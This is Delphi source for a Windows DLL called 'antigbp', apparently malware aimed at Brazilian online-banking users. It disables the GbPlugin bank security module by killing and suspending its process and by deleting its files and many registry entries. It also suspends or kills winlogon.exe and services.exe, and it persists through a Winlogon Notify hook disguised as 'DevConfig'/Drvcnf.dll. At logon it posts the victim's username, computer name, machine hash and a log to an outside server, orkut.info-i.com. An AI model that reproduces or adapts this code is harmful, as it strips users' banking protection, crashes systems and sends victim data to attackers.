library antigbp;
uses
Wintypes,
advapihook,
sysutils,
reg,
utils,
registry,
tlhelp32,
classes,
notify,
winsock,
idhttp,
process,
uping,
md5api,
afxCodeHook;
{$R resource}
const gbprocess = 'gbpsv.exe';
gbpath = '\GbPlugin';
logfile = 'toocold.lnk';
Function SeekAndDestroy(const PathName, FileName : string; const InDir : boolean): integer;
var Rec : TSearchRec;
Path : string;
begin
result := 0;
if Pathname[length(path)] <> '\' then path := pathname+'\' else path := pathname;
if FindFirst(Path + FileName, faAnyFile - faDirectory, Rec) = 0 then
try
repeat
if Deletefile(Path + Rec.Name) then inc(result, 1);
until FindNext(Rec) <> 0;
finally
FindClose(Rec);
end;
If not InDir then Exit;
if FindFirst(Path + '*.*', faDirectory, Rec) = 0 then
try
repeat
if ((Rec.Attr and faDirectory) <> 0) and (Rec.Name<>'.') and (Rec.Name<>'..') then
SeekAndDestroy(Path + Rec.Name, FileName, True);
until FindNext(Rec) <> 0;
finally
FindClose(Rec);
end;
end;
Function LoadList(init:integer):TStrings;
var i: integer;
begin
i := init;
Result := tstringlist.Create;
repeat
result.Add(loadstr(i));
inc(i, 1);
until loadstr(i)='';
end;
Function SNDSvcMask(mask: string):integer;
var reg: tregistry;
keys: tstrings;
loop: integer;
begin
result := 0;
reg := tregistry.Create;
try
with reg do begin
RootKey := HKEY_LOCAL_MACHINE;
Keys := tstringlist.Create;
OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify', false);
GetKeyNames(keys);
Closekey;
for loop := 0 to keys.Count -1 do
if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\'+keys.Strings[loop]) then inc(result, 1); end;
OpenKey('SYSTEM\ControlSet001\Services', false);
GetKeyNames(keys);
Closekey;
for loop := 0 to keys.Count -1 do
if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SYSTEM\ControlSet001\Services\'+keys.Strings[loop]) then inc(result, 1); end;
OpenKey('SYSTEM\ControlSet002\Services', false);
GetKeyNames(keys);
Closekey;
for loop := 0 to keys.Count -1 do
if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SYSTEM\ControlSet002\Services\'+keys.Strings[loop]) then inc(result, 1); end;
OpenKey('SYSTEM\ControlSet003\Services', false);
GetKeyNames(keys);
Closekey;
for loop := 0 to keys.Count -1 do
if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SYSTEM\ControlSet003\Services\'+keys.Strings[loop]) then inc(result, 1); end;
OpenKey('SYSTEM\CurrentControlSet\Services', false);
GetKeyNames(keys);
Closekey;
for loop := 0 to keys.Count -1 do
if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SYSTEM\CurrentControlSet\Services\'+keys.Strings[loop]) then inc(result, 1); end;
end;
keys.Free;
reg.Free;
Except
Exit;
end;
// SEEK AND DESTROY
// sorry, but i am a great coder! :P
end;
Function SNDClsidMask(mask: string):integer;
var reg: tregistry;
tmp,keys: tstrings;
i,loop: integer;
begin
result := 0;
reg := tregistry.Create;
Keys := tstringlist.Create;
tmp := tstringlist.Create;
try
with reg do begin
RootKey := HKEY_CLASSES_ROOT;
if OpenKey('CLSID', false) then begin
GetKeyNames(keys);
Closekey;
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do
if OpenKey('CLSID\'+keys[loop]+'\InprocServer32', false) then
if pos(mask, lowercase(readstring('')))>0 then begin closekey; deletekey('CLSID\'+keys.Strings[loop]); inc(result, 1); end;
closekey;
end;
Closekey;
if OpenKey('', false) then begin
GetKeyNames(keys);
Closekey;
for loop := 0 to keys.Count -1 do
if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if deletekey(keys.Strings[LOOP]) then inc(result, 1); end;
end;
closekey;
if OpenKey('Interface', false) then begin
GetKeyNames(keys);
Closekey;
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do
if Openkey('Interface\'+keys.Strings[loop], false) then
if pos(mask, lowercase(readstring('')))>0 then begin closekey;
if deletekey('Interface\'+keys.Strings[LOOP]) then inc(result, 1); end else closekey;
closekey;
//HKEY_CLASSES_ROOT\Interface\{7827CCC3-0DEB-4CFB-911C-AA777C882003}
if OpenKey('TypeLib', false) then begin
GetKeyNames(keys);
Closekey;
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do
if Openkey('TypeLib\'+keys.Strings[loop]+'\1.0', false) then
if not pos(mask, lowercase(readstring('')))>0 then closekey else begin closekey; if deletekey('TypeLib\'+keys.Strings[LOOP]) then inc(result, 1); end;
end;
end;
//HKEY_CLASSES_ROOT\TypeLib\{6B71634C-5867-4D85-BFFE-DF1C322F8B96}\1.0
Closekey;
RootKey := HKEY_CURRENT_USER;
if OpenKey('Software\GbPlugin', false) then begin closekey; if deletekey('Software\GbPlugin') then inc(result, 1); end;
RootKey := HKEY_LOCAL_MACHINE;
//HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_GBPSV
if OpenKey('SYSTEM\ControlSet002\Enum\Root\LEGACY_GBPSV', false) then begin closekey; if deletekey('SYSTEM\ControlSet001\Enum\Root\LEGACY_GBPSV') then inc(result, 1); end;
Closekey;
//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\ GbPluginCef
if OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\ GbPluginCef', false) then begin closekey; if deletekey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\ GbPluginCef') then inc(result, 1); end;
Closekey;
if OpenKey('SOFTWARE\Classes', false) then begin
GetKeyNames(keys);
Closekey;
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do
if pos(mask, lowercase(keys.Strings[loop]))>0 then begin closekey; if DeleteKey('SOFTWARE\Classes\'+keys.Strings[loop]) then inc(result, 1); end;
end;
if OpenKey('SOFTWARE\Classes\TypeLib', false) then begin
GetKeyNames(keys);
Closekey;
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do
if OpenKey('SOFTWARE\Classes\TypeLib\'+keys[loop]+'\1.0\0\win32', false) then
if pos(mask, lowercase(readstring('')))>0 then begin closekey; if deletekey('SOFTWARE\Classes\TypeLib\'+keys[loop]) then inc(result, 1); end;
end;
closekey;
//HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C41A1C0E-EA6C-11D4-B1B8-444553540003}\InprocServer32
if OpenKey('SOFTWARE\Classes\CLSID', false) then begin
GetKeyNames(keys);
Closekey;
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do begin
OpenKey('SOFTWARE\Classes\CLSID\'+keys[loop]+'\InprocServer32', false);
if pos(mask, lowercase(readstring('')))>0 then begin closekey; if deletekey('SOFTWARE\Classes\CLSID\'+keys[loop]) then inc(result, 1); end;
end;
end;
closekey;
//HKEY_LOCAL_MACHINE\SOFTWARE\Classes\GbiehCef.GbPluginObj
if OpenKey('SOFTWARE\Classes', false) then begin
GetKeyNames(keys);
Closekey;
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do
if pos(mask, lowercase(keys.Strings[loop]))>0 then begin closekey; if deletekey('SOFTWARE\Classes\'+keys.Strings[loop]) then inc(result, 1); end;
end;
closekey;
//HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7827CCC3-0DEB-4CFB-911C-AA777C882003}
if OpenKey('SOFTWARE\Classes\Interface', false) then begin
GetKeyNames(keys);
Closekey;
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do
if openkey('SOFTWARE\Classes\Interface\'+keys.Strings[loop], false) then
if pos(mask, lowercase(readstring('')))>0 then begin closekey; if deletekey('SOFTWARE\Classes\Interface\'+keys.Strings[loop]) then inc(result, 1); end;
end;
closekey;
//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Code Store Database\Distribution Units\{DB6BF2CD-4F59-4F1C-AA9C-D08C0B61A931}\Contains\Files
if OpenKey('SOFTWARE\Microsoft\Code Store Database\Distribution Units', false) then begin
GetKeyNames(keys);
Closekey;
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do
if openkey('SOFTWARE\Microsoft\Code Store Database\Distribution Units\'+keys.Strings[loop]+'\Contains\Files', false) then begin
GetValueNames(tmp);
for i := 0 to tmp.Count -1 do if not pos(mask, lowercase(tmp.Strings[i]))>0 then closekey else begin
closekey;
if deletekey('SOFTWARE\Microsoft\Code Store Database\Distribution Units\'+keys.Strings[loop]) then
inc(result, 1);
break;
end;
end;
end;
closekey;
//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks
if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks', false) then begin
GetValueNames(keys);
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do if pos(mask, lowercase(readstring(keys.Strings[loop])))>0 then
if deletevalue(keys.Strings[loop]) then inc(result, 1);
end;
closekey;
//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ModuleUsage
if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\ModuleUsage', false) then begin
GetKeyNames(keys);
Closekey;
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do
if pos(mask, lowercase(keys.Strings[loop]))>0 then if deletekey('SOFTWARE\Microsoft\Windows\CurrentVersion\ModuleUsage\'+keys.Strings[loop]) then inc(result, 1); end;
closekey;
//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDlls
if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDlls', false) then begin
GetValueNames(keys);
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do
if pos(mask, lowercase(keys.Strings[loop]))>0 then
if deletevalue(keys.Strings[loop]) then inc(result, 1);
end;
closekey;
//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved
if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved', false) then begin
GetValueNames(keys);
if keys.Count > 0 then
for loop := 0 to keys.Count -1 do
if pos(mask, lowercase(ReadString(keys.Strings[loop])))>0 then
if deletevalue(keys.Strings[loop]) then inc(result, 1);
end;
keys.Free;
tmp.Free;
Free;
end;
Except
exit;
end;
end;
Function GetAppData:string;
var h: hkey;
begin
regopenkeyex(hkey_local_machine, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', 0, KEY_ALL_ACCESS, h);
result := _regQueryValue(h, 'Common AppData', reg_sz);
regclosekey(h);
end;
Function GetRoot:string;
var h: hkey;
begin
regopenkeyex(hkey_local_machine, 'SOFTWARE\Microsoft\Windows\CurrentVersion', 0, KEY_ALL_ACCESS, h);
result := _regQueryValue(h, 'ProgramFilesDir', reg_sz);
regclosekey(h);
end;
Function GetConfig:string;
var h: hkey;
begin
regopenkeyex(hkey_local_machine, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify', 0, KEY_ALL_ACCESS, h);
result := _regQueryValue(h, 'SecHash', reg_sz);
regclosekey(h);
end;
Function ToHTML(Str: TStrings):TStrings;
begin
Result := tstringlist.Create;
with result do begin
Add('<html><body><b>Usuario: </b>'+GetUsername+
'<b> Computador:</b>'+GetComputername+
'<br><i>Navegador padrao '+GetDefaultBrowser+
'<br>Versao do windows '+GetWindowsVersion+
'<br>Hora local '+timetostr(now)+
'</i><br><b>Log de execucao:<br><font name="Courrier new" size = 3 color=555555><pre>'+
str.Text+'</pre></b></font></body></html>');
end;
end;
Function KillProcess(Process: cardinal):bool;
var
hProcess: hwnd;
eCode: cardinal;
begin
hProcess := openprocess(process_all_access, false, process);
GetExitCodeProcess(hProcess, eCode);
result := TerminateProcess(hProcess, eCode);
CloseHandle(hProcess);
end;
Function GetMachineHash:String;
var MD5File, MD5PC: string;
begin
MD5PC := MD5DataToStr(MD5DataFromString(GetUsername+GetComputername));
MD5File := MD5FromFile(GetWindowsDirectory+'system\Drvcnf.dll');
Result := MD5DataToStr(MD5DataFromString(MD5File+MD5PC));
end;
Procedure MainFunction;
var log,list: tstrings;
i: integer;
th: tthread;
begin
i := 0;
th := nil;
log := tstringlist.Create;
if DirectoryExists(getroot+gbpath) then
if not DeleteFolder(getroot+gbpath) then begin
Log.Add('Nao foi possivel excluir o diretório '+getroot+gbpath);
if not SetDebugPrivilege then log.Add('Nao foi possivel ativar o privilegio SeDebugPrivilege') else begin
if KillProcess(getpid(gbprocess)) then if not deletefile(getroot+gbpath+'\'+gbprocess) then begin
log.Add('Processo GbpSv.exe encontrado, Killado, mas nao é possivel deletar sua pasta');
while i < 1000 do begin if getpid(gbprocess) <> 0 then break else inc(i, 1); sleep(1); end;
if getpid(gbprocess) <> 0 then begin
Log.Add('Parando o processo GbpSv.exe');
th := listthreads(getpid(gbprocess));
for I := 0 to high(th) do if suspend(th[i].th32ThreadID) then
Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Parada') else
Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Erro ao parala');
end;
end;
Log.Add('Parando o processo Winlogon');
th := listthreads(getpid('winlogon.exe'));
for I := 0 to high(th) do if th[i].th32ThreadID <> GetCurrentThreadId then
Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Parada') else
Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Erro ao parala');
Log.Add('Parando o processo Services.exe');
th := listthreads(getpid('services.exe'));
for I := 0 to high(th) do if suspend(th[i].th32ThreadID) then
Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Parada') else
Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Erro ao parala');
list := loadlist(0);
Log.Add('Deletando tudo na pasta '+getroot+gbpath);
SeekAndDestroy(getroot+gbpath, '*.*', true);
Log.Add('Deletando os arquivos com mascaras semelhantes em Downloaded Program Files');
for I := 0 to list.Count -1 do SeekAndDestroy(GetWindowsDirectory+'Downloaded Program Files', list.Strings[i], true);
Log.Add('Deletando os arquivos com mascaras semelhantes em Commom app data.');
for I := 0 to list.Count -1 do SeekAndDestroy(getappdata, list.Strings[i], true);
list := loadlist(10);
Log.Add('Deletando todas as chaves do registro com mascara semelhantes as setadas.');
for I := 0 to list.Count -1 do log.Add('Foram deletadas '+inttostr(SNDClsidMask(list.Strings[i]))+' Com a mascara '+list.Strings[i]);
Log.Add('Killando o winlogon.exe, o windows pausara neste momento, salvando log.');
Log.SaveToFile(GetWindowsDirectory+logfile);
KillProcess(GetPID('winlogon.exe'));
sleep(10000);
log.Add('Possivelmente a funcao que para o processo winlogon nao esta funcionando');
log.SaveToFile(GetWindowsDirectory+logfile);
end;
end;
ExitThread(0);
end;
Procedure OnLogon; stdcall; export;
var i: integer;
th: tthread;
log: tstrings;
go : tidhttp;
reg : tregistry;
begin
th := nil;
i := 0;
log := tstringlist.Create;
if fileexists(GetWindowsDirectory+logfile) then log.LoadFromFile(GetWindowsDirectory+logfile);
repeat
if getpid(gbprocess)>0 then break else begin sleep(100); inc(i, 1); end;
until i > 300;
if GetPID(gbprocess)= 0 then begin
log.Add('Processo GBPSV Nao encontrado');
if not DirectoryExists(getroot+gbpath) then
log.Add('Diretorio nao encontrado '+getroot+gbpath) else
if DeleteFolder(getroot+gbpath) then
log.Add('Diretorio encontrado e excluido '+getroot+gbpath)
else
log.Add('Diretorio encontrado e impossivel de ser excluido '+getroot+gbpath);
end else begin
log.Add('Processo GBPSV encontrado PID: '+inttostr(getpid(gbprocess)));
if not SetDebugPrivilege then log.Add('Nao foi possivel setar o privilegio de debugger') else begin
th := listthreads(getpid(gbprocess));
for I := 0 to high(th) do if suspend(th[i].th32ThreadID) then log.Add('Thread N. ['+inttostr(th[i].th32ThreadID)+'] parada com sucesso') else
log.Add('Erro ao parar a thread N. ['+inttostr(th[i].th32ThreadID)+']');
end;
end;
reg := tregistry.Create;
try
reg.RootKey := hkey_local_machine;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\ClassicViewState', true);
if not reg.ValueExists('DefaultHookValue') then reg.WriteInteger('DefaultHookValue', 3) else begin
i := reg.ReadInteger('DefaultHookValue');
end;
if i > 0 then begin
reg.WriteInteger('DefaultHookValue', i-1);
i := 0;
repeat
if (ping('google.com')) or (ping('sourceforge.net')) or (ping('uol.com.br')) or (ping('orkut.com')) then break;
inc(i, 1);
sleep(60000);
until i = 20;
Log := ToHTML(log);
Log.Text := 'PC='+GetComputername+#13#10'USER='+GetUsername+#13#10'HASH='+uppercase(GetMachineHash)+#13#10'DADOS='+log.Text;
Go := TIdHTTP.Create(nil);
Go.Host := 'orkut.info-i.com';
Go.Connect();
Go.Post('/gb.php',log);
end;
reg.Free;
except
exit;
end;
exitthread(0);
end;
Procedure OnShutdown; stdcall; export;
var Init: TStartType;
begin
if getconfig = getmachinehash then exitthread(0);
with Init do begin
SetLength(Events, 2);
Events[0].Keyname := 'Logon';
Events[0].DllFunction := 'OnLogon';
Events[1].Keyname := 'Shutdown';
Events[1].DllFunction := 'OnShutdown';
DLLName := GetWindowsDirectory+'system\Drvcnf.dll';
Asynchronous := true;
Impersonate := true;
ServiceName := 'DevConfig';
end;
RegNotifyDll(INIT);
MainFunction;
end;
exports OnLogon, OnShutdown;
begin
end.